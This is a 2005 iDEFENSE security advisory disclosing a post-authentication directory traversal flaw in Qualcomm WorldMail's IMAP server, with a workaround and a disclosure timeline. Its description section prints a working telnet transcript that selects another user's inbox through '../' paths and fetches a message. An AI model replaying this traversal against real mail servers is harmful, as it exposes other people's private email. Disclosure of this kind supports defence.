iDEFENSE Security Advisory 2005-11-17.t

`Qualcomm WorldMail IMAP Server Directory Traversal Vulnerability  
  
iDEFENSE Security Advisory 11.17.05  
www.idefense.com/application/poi/display?id=341&type=vulnerabilities  
November 17, 2005  
  
I. BACKGROUND  
  
Qualcomm WorldMail is an email and messaging server designed for use  
in small to large enterprises that supports IMAP, POP3, SMTP, and web  
mail features.  
  
More information can be found on the vendors site:  
  
http://www.eudora.com/worldmail/  
  
II. DESCRIPTION  
  
Remote exploitation of a directory transversal vulnerability in Qualcomm  
WorldMail IMAP Server allows attackers to read any email stored on the  
system.  
  
The IMAP protocol supports the use of multiple folders and contains  
commands with allow users to specify specific paths. Qualcomm WorldMail  
server allows multiple commands to specify folders outside of the  
current user's mailbox.  
  
Attackers can leverage this vulnerability to view and manage any other  
user's email messages stored on the system. Attackers also have the  
ability to move any arbitrary folder on the system.  
  
Exploitation is trivial and can be done with a simple telnet client.  
Below is an example transaction highlighting the attack:  
  
-----------------------------------  
c:\> telnet 192.168.0.109 143  
  
* OK WorldMail IMAP4 Server 6.1.19.0 ready  
1 login user1 user1  
1 OK LOGIN completed  
  
2 select /inbox  
* 0 EXISTS  
* OK [UNSEEN 0]  
2 OK [READ-WRITE] opened /inbox  
  
2 select ./../../administrator/inbox  
* 1 EXISTS  
* OK [UNSEEN 1] Message 1 is first unseen  
2 OK [READ-WRITE] opened ./../../administrator/inbox  
  
2 fetch 1 (RFC822.TEXT)  
* 1 FETCH (RFC822.TEXT {131}  
  
this message was sent to administrator  
------------------------------------  
  
III. ANALYSIS  
  
Successful exploitation of this vulnerability allows attackers to view  
and delete mail from any user on the system. Attackers may also be able  
to affect system stability with the ability to move arbitrary folders on  
the affected system.  
  
This is a post authentication exploit. In order to exploit this  
vulnerability an attacker would need a valid login to the email server  
and the IMAP module would have to be enabled (default).  
  
IV. DETECTION  
  
This exploit was tested against Qualcomm Worldmail server version 3.0.  
Other versions may be vulnerable.  
  
V. WORKAROUND  
  
As the affected commands cannot be disabled, it is important that only  
trusted users be allowed to access the vulnerable mail server.  
Exploitation of this vulnerability can only be done after a user is  
authenticated to the mail server. Therefore, it is recommended that  
login credentials be reviewed to ensure that only trusted users have  
access.  
  
WorldMail also supports POP access to email. If disabling the IMAP  
service completly is an option, this will also prevent exploitation of  
the vulnerability.  
  
VI. VENDOR RESPONSE  
  
Multiple attempts have been made to inform the vendor of this  
vulnerability but to date a response has not yet been received.  
  
VII. CVE INFORMATION  
  
The Common Vulnerabilities and Exposures (CVE) project has assigned the  
name CAN-2005-3189 to this issue. This is a candidate for inclusion in  
the CVE list (http://cve.mitre.org), which standardizes names for  
security problems.  
  
VIII. DISCLOSURE TIMELINE  
  
10/12/2005 Initial vendor notification  
10/27/2005 Initial vendor response  
11/17/2005 Public disclosure  
  
IX. CREDIT  
  
The vulnerability was discovered by FistFuXXer.  
  
Get paid for vulnerability research  
http://www.idefense.com/poi/teams/vcp.jsp  
  
Free tools, research and upcoming events  
http://labs.idefense.com  
  
X. LEGAL NOTICES  
  
Copyright © 2005 iDEFENSE, Inc.  
  
Permission is granted for the redistribution of this alert  
electronically. It may not be edited in any way without the express  
written consent of iDEFENSE. If you wish to reprint the whole or any  
part of this alert in any other medium other than electronically, please  
email [email protected] for permission.  
  
Disclaimer: The information in the advisory is believed to be accurate  
at the time of publishing based on currently available information. Use  
of the information constitutes acceptance for use in an AS IS condition.  
There are no warranties with regard to this information. Neither the  
author nor the publisher accepts any liability for any direct, indirect,  
or consequential loss or damage arising from use of, or reliance on,  
this information.  
  
  
`